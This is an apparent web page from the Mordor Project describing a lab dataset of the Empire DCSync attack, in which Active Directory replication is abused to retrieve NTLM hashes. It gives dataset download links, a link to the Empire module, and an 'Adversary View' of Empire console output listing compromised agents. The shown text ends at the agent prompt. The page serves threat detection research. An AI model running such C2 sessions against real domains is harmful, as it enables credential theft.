

<!DOCTYPE html>

<html>
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Empire DCSync &#8212; The Mordor Project</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.11.2/css/all.min.css" integrity="sha384-KA6wR/X5RY4zFAHpv/CnoG2UW1uogYfdnP67Uv7eULvTveboZJg0qUpmJZb5VqzN" crossorigin="anonymous">
    <link href="../../../../_static/css/index.css" rel="stylesheet">
    <link rel="stylesheet" href="../../../../_static/sphinx-book-theme.css" type="text/css" />
    <link rel="stylesheet" href="../../../../_static/pygments.css" type="text/css" />
    <link rel="stylesheet" type="text/css" href="../../../../_static/togglebutton.css" />
    <link rel="stylesheet" type="text/css" href="../../../../_static/copybutton.css" />
    <link rel="stylesheet" type="text/css" href="../../../../_static/mystnb.css" />
    <link rel="stylesheet" type="text/css" href="../../../../_static/sphinx-thebe.css" />
    <link rel="stylesheet" type="text/css" href="../../../../_static/sphinx-dropdown.css" />
    <script id="documentation_options" data-url_root="../../../../" src="../../../../_static/documentation_options.js"></script>
    <script src="../../../../_static/jquery.js"></script>
    <script src="../../../../_static/underscore.js"></script>
    <script src="../../../../_static/doctools.js"></script>
    <script src="../../../../_static/language_data.js"></script>
    <script src="../../../../_static/togglebutton.js"></script>
    <script src="../../../../_static/clipboard.min.js"></script>
    <script src="../../../../_static/copybutton.js"></script>
    <script src="../../../../_static/sphinx-book-theme.js"></script>
    <script >var togglebuttonSelector = '.toggle, .admonition.dropdown, .tag_hide_input div.cell_input, .tag_hide-input div.cell_input, .tag_hide_output div.cell_output, .tag_hide-output div.cell_output, .tag_hide_cell.cell, .tag_hide-cell.cell';</script>
    <script async="async" src="https://unpkg.com/thebelab@latest/lib/index.js"></script>
    <script >
        const thebe_selector = ".thebe,.cell"
        const thebe_selector_input = "pre,.cell_input div.highlight"
        const thebe_selector_output = ".output,.cell_output"
    </script>
    <script async="async" src="../../../../_static/sphinx-thebe.js"></script>
    <link rel="canonical" href="https://mordordatasets.com/notebooks/small/windows/06_credential_access/SDWIN-190301174830.html" />
    <link rel="shortcut icon" href="../../../../_static/favicon.ico"/>
    <link rel="index" title="Index" href="../../../../genindex.html" />
    <link rel="search" title="Search" href="../../../../search.html" />
    <link rel="next" title="Empire Mimikatz Backup Keys" href="SDWIN-190518235535.html" />
    <link rel="prev" title="Empire Mimikatz SAM Extract Hashes" href="SDWIN-190625103712.html" />

    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="docsearch:language" content="en">


<!-- Opengraph tags -->
<meta property="og:url"         content="https://mordordatasets.com/notebooks/small/windows/06_credential_access/SDWIN-190301174830.html" />
<meta property="og:type"        content="article" />
<meta property="og:title"       content="Empire DCSync" />
<meta property="og:description" content="Empire DCSync  Metadata          Author  Roberto Rodriguez @Cyb3rWard0g  Creation Date  2019/03/01  Modification Date  2020/09/20  Tactics  [‘TA0006’]  Techniqu" />
<meta property="og:image"       content="https://mordordatasets.com/_static/logo.png" />

<meta name="twitter:card" content="summary" />


  </head>
  <body data-spy="scroll" data-target="#bd-toc-nav" data-offset="80">
    

    <div class="container-xl">
      <div class="row">
          
<div class="col-12 col-md-3 bd-sidebar site-navigation show" id="site-navigation">
    
        <div class="navbar-brand-box">
<a class="navbar-brand text-wrap" href="../../../../index.html">
  
  <img src="../../../../_static/logo.png" class="logo" alt="logo">
  
  
  <h1 class="site-logo" id="site-title">The Mordor Project</h1>
  
</a>
</div>

<form class="bd-search d-flex align-items-center" action="../../../../search.html" method="get">
  <i class="icon fas fa-search"></i>
  <input type="search" class="form-control" name="q" id="search-input" placeholder="Search this book..." aria-label="Search this book..." autocomplete="off" >
</form>

<nav class="bd-links" id="bd-docs-nav" aria-label="Main navigation">
  <p class="caption">
 <span class="caption-text">
  Mordor Environments
 </span>
</p>
<ul class="nav sidenav_l1">
 <li class="toctree-l1">
  <a class="reference internal" href="../../../../mordor_shire.html">
   The Shire
  </a>
 </li>
 <li class="toctree-l1">
  <a class="reference internal" href="../../../../mordor_erebor.html">
   Erebor
  </a>
 </li>
</ul>
<p class="caption">
 <span class="caption-text">
  How To
 </span>
</p>
<ul class="nav sidenav_l1">
 <li class="toctree-l1">
  <a class="reference internal" href="../../../../export_mordor.html">
   Create Mordor Datasets
  </a>
 </li>
 <li class="toctree-l1">
  <a class="reference internal" href="../../../../import_mordor.html">
   Consume Mordor Datasets
  </a>
 </li>
</ul>
<p class="caption">
 <span class="caption-text">
  Events
 </span>
</p>
<ul class="nav sidenav_l1">
 <li class="toctree-l1">
  <a class="reference internal" href="../../../../mordor_events.html">
   Mordor Events!
  </a>
 </li>
</ul>
<p class="caption">
 <span class="caption-text">
  Small Mordor Datasets
 </span>
</p>
<ul class="current nav sidenav_l1">
 <li class="toctree-l1 current active">
  <a class="reference internal" href="../windows.html">
   Windows
  </a>
  <ul class="current">
   <li class="toctree-l2">
    <a class="reference internal" href="../02_execution/execution.html">
     Execution
    </a>
    <ul>
     <li class="toctree-l3">
      <a class="reference internal" href="../02_execution/SDWIN-200806115603.html">
       Covenant PowerShell Remoting Command
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../02_execution/SDWIN-200806035621.html">
       Covenant SharpWMI Exec
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../02_execution/SDWIN-190518211456.html">
       Empire Invoke PSRemoting
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../02_execution/SDWIN-190518211052.html">
       Empire Invoke DCOM ShellWindows
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../02_execution/SDWIN-200724174200.html">
       Covenant Remote WMI Eventing ActiveScriptEventConsumers
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../02_execution/SDWIN-190518210652.html">
       Empire Invoke PsExec
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../02_execution/SDWIN-190518213907.html">
       Empire Invoke Execute MSBuild
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../02_execution/SDWIN-200914080546.html">
       Empire Remote WMIC Add User
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../02_execution/SDWIN-200921001437.html">
       Empire Invoke WMI
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../02_execution/SDWIN-190518182022.html">
       Empire VBS Execution
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../02_execution/SDWIN-191027223020.html">
       Covenant ShellCmd InstallUtil
      </a>
     </li>
    </ul>
   </li>
   <li class="toctree-l2">
    <a class="reference internal" href="../03_persistence/persistence.html">
     Persistence
    </a>
    <ul>
     <li class="toctree-l3">
      <a class="reference internal" href="../03_persistence/SDWIN-190319023812.html">
       Empire Userland Registry Run Keys
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../03_persistence/SDWIN-190319024742.html">
       Empire Userland Scheduled Tasks
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../03_persistence/SDWIN-190518184306.html">
       Empire Elevated WMI Eventing
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../03_persistence/SDWIN-200921175806.html">
       Empire Elevated Scheduled Tasks
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../03_persistence/SDWIN-200722001847.html">
       Empire Elevated Registry Run Keys
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../03_persistence/SDWIN-190403133337.html">
       IKEEXT Remote Service DLL Hijack
      </a>
     </li>
    </ul>
   </li>
   <li class="toctree-l2">
    <a class="reference internal" href="../04_privilege_escalation/privilege_escalation.html">
     Privilege Escalation
    </a>
    <ul>
     <li class="toctree-l3">
      <a class="reference internal" href="../04_privilege_escalation/SDWIN-200904032946.html">
       Invoke BypassUAC FodHelper
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../04_privilege_escalation/SDWIN-190518184306.html">
       Empire Elevated WMI Eventing
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../04_privilege_escalation/SDWIN-190518221344.html">
       Empire Invoke DLLInjection
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../04_privilege_escalation/SDWIN-190518200432.html">
       Empire PSInject
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../04_privilege_escalation/SDWIN-190403133337.html">
       IKEEXT Remote Service DLL Hijack
      </a>
     </li>
    </ul>
   </li>
   <li class="toctree-l2">
    <a class="reference internal" href="../05_defense_evasion/defense_evasion.html">
     Defense Evasion
    </a>
    <ul>
     <li class="toctree-l3">
      <a class="reference internal" href="../05_defense_evasion/SDWIN-190518201922.html">
       Empire WDigest Downgrade
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../05_defense_evasion/SDWIN-190518203650.html">
       Empire Enable RDP
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../05_defense_evasion/SDWIN-190319131123.html">
       Empire Over-Pass-The-Hash
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../05_defense_evasion/SDWIN-190518221344.html">
       Empire Invoke DLLInjection
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../05_defense_evasion/SDWIN-200721232741.html">
       Empire Regsvr32 Execution
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../05_defense_evasion/SDWIN-190518200432.html">
       Empire PSInject
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../05_defense_evasion/SDWIN-190403133337.html">
       IKEEXT Remote Service DLL Hijack
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../05_defense_evasion/SDWIN-190301125905.html">
       Empire Powerview Add-DomainObjectAcl
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../05_defense_evasion/SDWIN-191225045202.html">
       Empire Invoke InternalMonologue
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../05_defense_evasion/SDWIN-191027223020.html">
       Covenant ShellCmd InstallUtil
      </a>
     </li>
    </ul>
   </li>
   <li class="toctree-l2 current active">
    <a class="reference internal" href="credential_access.html">
     Credential Access
    </a>
    <ul class="current">
     <li class="toctree-l3">
      <a class="reference internal" href="SDWIN-190625133822.html">
       Empire Reg Dump SAM Hive
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="SDWIN-191027055035.html">
       RDP TaskManager LSASS Dump
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="SDWIN-190625103712.html">
       Empire Mimikatz SAM Extract Hashes
      </a>
     </li>
     <li class="toctree-l3 current active">
      <a class="current reference internal" href="#">
       Empire DCSync
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="SDWIN-190518235535.html">
       Empire Mimikatz Backup Keys
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="SDWIN-190518202151.html">
       Empire Mimikatz LogonPasswords
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="SDWIN-190319145126.html">
       Rubeus Userland ASKTGT PTT
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="SDWIN-200922042230.html">
       Empire Powerdump Extract Hashes
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="SDWIN-200807103913.html">
       Empire Mimikatz Lsadump LSA Patch
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="SDWIN-200805020926.html">
       Covenant DCSync
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="SDWIN-200921230246.html">
       Rubeus Elevated ASKTGT CreateNetOnly
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="SDWIN-190518230752.html">
       Empire Mimikatz Extract Kerberos Keys
      </a>
     </li>
    </ul>
   </li>
   <li class="toctree-l2">
    <a class="reference internal" href="../07_discovery/discovery.html">
     Discovery
    </a>
    <ul>
     <li class="toctree-l3">
      <a class="reference internal" href="../07_discovery/SDWIN-200806130039.html">
       Covenant GetDomainGroup Domain Admins
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../07_discovery/SDWIN-190518201207.html">
       Empire Shell Net Domain Admins
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../07_discovery/SDWIN-190519005224.html">
       Empire Remote Get Session
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../07_discovery/SDWIN-190319020147.html">
       Empire Net Local Administrators Group
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../07_discovery/SDWIN-190518224039.html">
       Empire Find Local Admin Access
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../07_discovery/SDWIN-190319021158.html">
       Empire Net Domain Users
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../07_discovery/SDWIN-190319020729.html">
       Empire Net Local Users
      </a>
     </li>
    </ul>
   </li>
   <li class="toctree-l2">
    <a class="reference internal" href="../08_lateral_movement/lateral_movement.html">
     Lateral Movement
    </a>
    <ul>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-190518210125.html">
       Empire Invoke SMBExec
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-200806115603.html">
       Covenant PowerShell Remoting Command
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-200918145959.html">
       DCOM RegisterXLL
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-200806035621.html">
       Covenant SharpWMI Exec
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-200806030120.html">
       Covenant SharpSC Start
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-200806015757.html">
       Covenant Remote File Copy
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-190518211456.html">
       Empire Invoke PSRemoting
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-200806022635.html">
       Covenant SharpSC Create
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-190319131123.html">
       Empire Over-Pass-The-Hash
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-200806031938.html">
       Covenant SharpSC Stop Service
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-190518211052.html">
       Empire Invoke DCOM ShellWindows
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-200724174200.html">
       Covenant Remote WMI Eventing ActiveScriptEventConsumers
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-190518210652.html">
       Empire Invoke PsExec
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-200806012009.html">
       Covenant SharpSC Query
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-200917174542.html">
       DCOM ExecuteExcel4macro
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-200805034820.html">
       Covenant SC.exe Utility Query
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-190518213907.html">
       Empire Invoke Execute MSBuild
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-200914080546.html">
       Empire Remote WMIC Add User
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-200916232559.html">
       Mimikatz Netlogon Unauthenticated NetrServerAuthenticate2
      </a>
     </li>
     <li class="toctree-l3">
      <a class="reference internal" href="../08_lateral_movement/SDWIN-200921001437.html">
       Empire Invoke WMI
      </a>
     </li>
    </ul>
   </li>
   <li class="toctree-l2">
    <a class="reference internal" href="../09_collection/collection.html">
     Collection
    </a>
    <ul>
     <li class="toctree-l3">
      <a class="reference internal" href="../09_collection/SDWIN-200609225055.html">
       MSF Record Mic
      </a>
     </li>
    </ul>
   </li>
  </ul>
 </li>
 <li class="toctree-l1">
  <a class="reference internal" href="../../linux/linux.html">
   Linux
  </a>
 </li>
 <li class="toctree-l1">
  <a class="reference internal" href="../../mac/mac.html">
   MAC
  </a>
 </li>
 <li class="toctree-l1">
  <a class="reference internal" href="../../aws/aws.html">
   AWS
  </a>
 </li>
</ul>

</nav>

 <!-- To handle the deprecated key -->

<div class="navbar_extra_footer">
  Powered by <a href="https://jupyterbook.org">Jupyter Book</a>
</div>

</div>


          


          
<main class="col py-md-3 pl-md-4 bd-content overflow-auto" role="main">
    
    <div class="row topbar fixed-top container-xl">
    <div class="col-12 col-md-3 bd-topbar-whitespace site-navigation show">
    </div>
    <div class="col pl-2 topbar-main">
        
        <button id="navbar-toggler" class="navbar-toggler ml-0" type="button" data-toggle="collapse"
            data-toggle="tooltip" data-placement="bottom" data-target=".site-navigation" aria-controls="navbar-menu"
            aria-expanded="true" aria-label="Toggle navigation" aria-controls="site-navigation"
            title="Toggle navigation" data-toggle="tooltip" data-placement="left">
            <i class="fas fa-bars"></i>
            <i class="fas fa-arrow-left"></i>
            <i class="fas fa-arrow-up"></i>
        </button>
        
        <div class="dropdown-buttons-trigger">
    <button id="dropdown-buttons-trigger" class="btn btn-secondary topbarbtn" aria-label="Download this page"><i
            class="fas fa-download"></i></button>

    
    <div class="dropdown-buttons">
        <!-- ipynb file if we had a myst markdown file -->
        
        <!-- Download raw file -->
        <a class="dropdown-buttons" href="../../../../_sources/notebooks/small/windows/06_credential_access/SDWIN-190301174830.ipynb"><button type="button"
                class="btn btn-secondary topbarbtn" title="Download source file" data-toggle="tooltip"
                data-placement="left">.ipynb</button></a>
        <!-- Download PDF via print -->
        <button type="button" id="download-print" class="btn btn-secondary topbarbtn" title="Print to PDF"
            onClick="window.print()" data-toggle="tooltip" data-placement="left">.pdf</button>
    </div>
    
</div>
        <!-- Source interaction buttons -->

<div class="dropdown-buttons-trigger">
    <button id="dropdown-buttons-trigger" class="btn btn-secondary topbarbtn"
        aria-label="Connect with source repository"><i class="fab fa-github"></i></button>
    <div class="dropdown-buttons sourcebuttons">
        <a class="repository-button"
            href="https://github.com/OTRF/mordor"><button type="button" class="btn btn-secondary topbarbtn"
                data-toggle="tooltip" data-placement="left" title="Source repository"><i
                    class="fab fa-github"></i>repository</button></a>
        <a class="issues-button"
            href="https://github.com/OTRF/mordor/issues/new?title=Issue%20on%20page%20%2Fnotebooks/small/windows/06_credential_access/SDWIN-190301174830.html&body=Your%20issue%20content%20here."><button
                type="button" class="btn btn-secondary topbarbtn" data-toggle="tooltip" data-placement="left"
                title="Open an issue"><i class="fas fa-lightbulb"></i>open issue</button></a>
        <a class="edit-button" href="https://github.com/OTRF/mordor/edit/master/docs/notebooks/small/windows/06_credential_access/SDWIN-190301174830.ipynb"><button
                type="button" class="btn btn-secondary topbarbtn" data-toggle="tooltip" data-placement="left"
                title="Edit this page"><i class="fas fa-pencil-alt"></i>suggest edit</button></a>
    </div>
</div>


        <!-- Full screen (wrap in <a> to have style consistency -->
        <a class="full-screen-button"><button type="button" class="btn btn-secondary topbarbtn" data-toggle="tooltip"
                data-placement="bottom" onclick="toggleFullScreen()" title="Fullscreen mode"><i
                    class="fas fa-expand"></i></button></a>

        <!-- Launch buttons -->

<div class="dropdown-buttons-trigger">
    <button id="dropdown-buttons-trigger" class="btn btn-secondary topbarbtn"
        aria-label="Launch interactive content"><i class="fas fa-rocket"></i></button>
    <div class="dropdown-buttons">
        
        <a class="binder-button" href="https://mybinder.org/v2/gh/OTRF/mordor/master?urlpath=tree/docs/notebooks/small/windows/06_credential_access/SDWIN-190301174830.ipynb"><button type="button"
                class="btn btn-secondary topbarbtn" title="Launch Binder" data-toggle="tooltip"
                data-placement="left"><img class="binder-button-logo"
                    src="../../../../_static/images/logo_binder.svg"
                    alt="Interact on binder">Binder</button></a>
        
        
        
        <a class="colab-button" href="https://colab.research.google.com/github/OTRF/mordor/blob/master/docs/notebooks/small/windows/06_credential_access/SDWIN-190301174830.ipynb"><button type="button" class="btn btn-secondary topbarbtn"
                title="Launch Colab" data-toggle="tooltip" data-placement="left"><img class="colab-button-logo"
                    src="../../../../_static/images/logo_colab.png"
                    alt="Interact on Colab">Colab</button></a>
        
        <button type="button" class="btn btn-secondary topbarbtn"
            onclick="initThebeSBT()" title="Launch Thebe" data-toggle="tooltip" data-placement="left"><i
                class="fas fa-play"></i><span style="margin-left: .4em;">Live Code</span></button>
        
    </div>
</div>

    </div>

    <!-- Table of contents -->
    <div class="d-none d-md-block col-md-2 bd-toc show">
        <div class="tocsection onthispage pt-5 pb-3">
            <i class="fas fa-list"></i> Contents
        </div>
        <nav id="bd-toc-nav">
            <ul class="nav section-nav flex-column">
 <li class="toc-h2 nav-item toc-entry">
  <a class="reference internal nav-link" href="#metadata">
   Metadata
  </a>
 </li>
 <li class="toc-h2 nav-item toc-entry">
  <a class="reference internal nav-link" href="#dataset-description">
   Dataset Description
  </a>
 </li>
 <li class="toc-h2 nav-item toc-entry">
  <a class="reference internal nav-link" href="#datasets-downloads">
   Datasets Downloads
  </a>
 </li>
 <li class="toc-h2 nav-item toc-entry">
  <a class="reference internal nav-link" href="#notebooks">
   Notebooks
  </a>
 </li>
 <li class="toc-h2 nav-item toc-entry">
  <a class="reference internal nav-link" href="#simulation-plan">
   Simulation Plan
  </a>
 </li>
 <li class="toc-h2 nav-item toc-entry">
  <a class="reference internal nav-link" href="#adversary-view">
   Adversary View
  </a>
 </li>
 <li class="toc-h2 nav-item toc-entry">
  <a class="reference internal nav-link" href="#explore-mordor-dataset">
   Explore Mordor Dataset
  </a>
  <ul class="nav section-nav flex-column">
   <li class="toc-h3 nav-item toc-entry">
    <a class="reference internal nav-link" href="#initialize-analytics-engine">
     Initialize Analytics Engine
    </a>
   </li>
   <li class="toc-h3 nav-item toc-entry">
    <a class="reference internal nav-link" href="#download-process-mordor-file">
     Download &amp; Process Mordor File
    </a>
   </li>
   <li class="toc-h3 nav-item toc-entry">
    <a class="reference internal nav-link" href="#get-to-know-your-data">
     Get to know your data
    </a>
   </li>
  </ul>
 </li>
</ul>

        </nav>
    </div>
</div>
    <div id="main-content" class="row">
        <div class="col-12 col-md-9 pl-md-3 pr-md-0">
        
              <div>
                
  <div class="section" id="empire-dcsync">
<h1>Empire DCSync<a class="headerlink" href="#empire-dcsync" title="Permalink to this headline">¶</a></h1>
<div class="section" id="metadata">
<h2>Metadata<a class="headerlink" href="#metadata" title="Permalink to this headline">¶</a></h2>
<table class="colwidths-auto table">
<thead>
<tr class="row-odd"><th class="text-align:left head"><p></p></th>
<th class="text-align:left head"><p></p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td class="text-align:left"><p>Author</p></td>
<td class="text-align:left"><p>Roberto Rodriguez &#64;Cyb3rWard0g</p></td>
</tr>
<tr class="row-odd"><td class="text-align:left"><p>Creation Date</p></td>
<td class="text-align:left"><p>2019/03/01</p></td>
</tr>
<tr class="row-even"><td class="text-align:left"><p>Modification Date</p></td>
<td class="text-align:left"><p>2020/09/20</p></td>
</tr>
<tr class="row-odd"><td class="text-align:left"><p>Tactics</p></td>
<td class="text-align:left"><p>[‘<a class="reference external" href="https://attack.mitre.org/tactics/TA0006">TA0006</a>’]</p></td>
</tr>
<tr class="row-even"><td class="text-align:left"><p>Techniques</p></td>
<td class="text-align:left"><p>[‘<a class="reference external" href="https://attack.mitre.org/techniques/T1003/006">T1003.006</a>’]</p></td>
</tr>
<tr class="row-odd"><td class="text-align:left"><p>Tags</p></td>
<td class="text-align:left"><p>[‘AD Replication services’, ‘RPC DRSUAPI DsGetNCChanges’]</p></td>
</tr>
</tbody>
</table>
</div>
<div class="section" id="dataset-description">
<h2>Dataset Description<a class="headerlink" href="#dataset-description" title="Permalink to this headline">¶</a></h2>
<p>This dataset represents adversaries abusing Active Directory Replication services to retrieve secret domain data (i.e. NTLM hashes) from domain accounts.</p>
</div>
<div class="section" id="datasets-downloads">
<h2>Datasets Downloads<a class="headerlink" href="#datasets-downloads" title="Permalink to this headline">¶</a></h2>
<table class="colwidths-auto table">
<thead>
<tr class="row-odd"><th class="text-align:left head"><p>Dataset Type</p></th>
<th class="text-align:left head"><p>Link</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td class="text-align:left"><p>Host</p></td>
<td class="text-align:left"><p><a class="reference external" href="https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/credential_access/host/empire_dcsync_dcerpc_drsuapi_DsGetNCChanges.zip">https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/credential_access/host/empire_dcsync_dcerpc_drsuapi_DsGetNCChanges.zip</a></p></td>
</tr>
<tr class="row-odd"><td class="text-align:left"><p>Network</p></td>
<td class="text-align:left"><p><a class="reference external" href="https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/credential_access/network/empire_dcsync_dcerpc_drsuapi_DsGetNCChanges.zip">https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/credential_access/network/empire_dcsync_dcerpc_drsuapi_DsGetNCChanges.zip</a></p></td>
</tr>
</tbody>
</table>
</div>
<div class="section" id="notebooks">
<h2>Notebooks<a class="headerlink" href="#notebooks" title="Permalink to this headline">¶</a></h2>
<p>Notebooks created by the community leveraging the mordor datasets</p>
<table class="colwidths-auto table">
<thead>
<tr class="row-odd"><th class="text-align:left head"><p>Author</p></th>
<th class="text-align:left head"><p>Name</p></th>
<th class="text-align:left head"><p>Link</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td class="text-align:left"><p>Threat Hunter Playbook</p></td>
<td class="text-align:left"><p>Active Directory Replication From Non-Domain-Controller Accounts</p></td>
<td class="text-align:left"><p><a class="reference external" href="https://threathunterplaybook.com/notebooks/windows/06_credential_access/credential_access/WIN-180815210510.html">https://threathunterplaybook.com/notebooks/windows/06_credential_access/credential_access/WIN-180815210510.html</a></p></td>
</tr>
</tbody>
</table>
</div>
<div class="section" id="simulation-plan">
<h2>Simulation Plan<a class="headerlink" href="#simulation-plan" title="Permalink to this headline">¶</a></h2>
<table class="colwidths-auto table">
<thead>
<tr class="row-odd"><th class="text-align:left head"><p>Environment</p></th>
<th class="text-align:left head"><p>Tool Type</p></th>
<th class="text-align:left head"><p>Module</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td class="text-align:left"><p>Mordor shire</p></td>
<td class="text-align:left"><p>C2</p></td>
<td class="text-align:left"><p><a class="reference external" href="https://github.com/EmpireProject/Empire/blob/dev/data/module_source/credentials/Invoke-DCSync.ps1">DCSync</a></p></td>
</tr>
</tbody>
</table>
</div>
<div class="section" id="adversary-view">
<h2>Adversary View<a class="headerlink" href="#adversary-view" title="Permalink to this headline">¶</a></h2>
<div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="p">(</span><span class="n">Empire</span><span class="p">:</span> <span class="n">stager</span><span class="o">/</span><span class="n">multi</span><span class="o">/</span><span class="n">launcher</span><span class="p">)</span> <span class="o">&gt;</span> <span class="n">agents</span>

<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Active</span> <span class="n">agents</span><span class="p">:</span>

<span class="n">Name</span>     <span class="n">La</span> <span class="n">Internal</span> <span class="n">IP</span>     <span class="n">Machine</span> <span class="n">Name</span>      <span class="n">Username</span>                <span class="n">Process</span>            <span class="n">PID</span>    <span class="n">Delay</span>    <span class="n">Last</span> <span class="n">Seen</span>            <span class="n">Listener</span>
<span class="o">----</span>     <span class="o">--</span> <span class="o">-----------</span>     <span class="o">------------</span>      <span class="o">--------</span>                <span class="o">-------</span>            <span class="o">---</span>    <span class="o">-----</span>    <span class="o">---------</span>            <span class="o">----------------</span>
<span class="mi">4</span><span class="n">SUZ8X62</span> <span class="n">ps</span> <span class="mf">172.18</span><span class="o">.</span><span class="mf">39.5</span>     <span class="n">WORKSTATION5</span>      <span class="o">*</span><span class="n">THESHIRE</span>\<span class="n">pgustavo</span>      <span class="n">powershell</span>         <span class="mi">4092</span>   <span class="mi">5</span><span class="o">/</span><span class="mf">0.0</span>    <span class="mi">2020</span><span class="o">-</span><span class="mi">09</span><span class="o">-</span><span class="mi">21</span> <span class="mi">21</span><span class="p">:</span><span class="mi">59</span><span class="p">:</span><span class="mi">29</span>  <span class="n">http</span>            
<span class="mi">1</span><span class="n">EHYPBVC</span> <span class="n">ps</span> <span class="mf">172.18</span><span class="o">.</span><span class="mf">39.5</span>     <span class="n">WORKSTATION5</span>      <span class="o">*</span><span class="n">THESHIRE</span>\<span class="n">pgustavo</span>      <span class="n">powershell</span>         <span class="mi">7456</span>   <span class="mi">5</span><span class="o">/</span><span class="mf">0.0</span>    <span class="mi">2020</span><span class="o">-</span><span class="mi">09</span><span class="o">-</span><span class="mi">21</span> <span class="mi">22</span><span class="p">:</span><span class="mi">56</span><span class="p">:</span><span class="mi">58</span>  <span class="n">http</span>            

<span class="p">(</span><span class="n">Empire</span><span class="p">:</span> <span class="n">agents</span><span class="p">)</span> <span class="o">&gt;</span> <span class="n">interact</span> <span class="mi">1</span><span class="n">EHYPBVC</span>
<span class="p">(</span><span class="n">Empire</span><span class="p">:</span> <span class="mi">1</span><span class="n">EHYPBVC</span><span class="p">)</span> <span class="o">&gt;</span> 
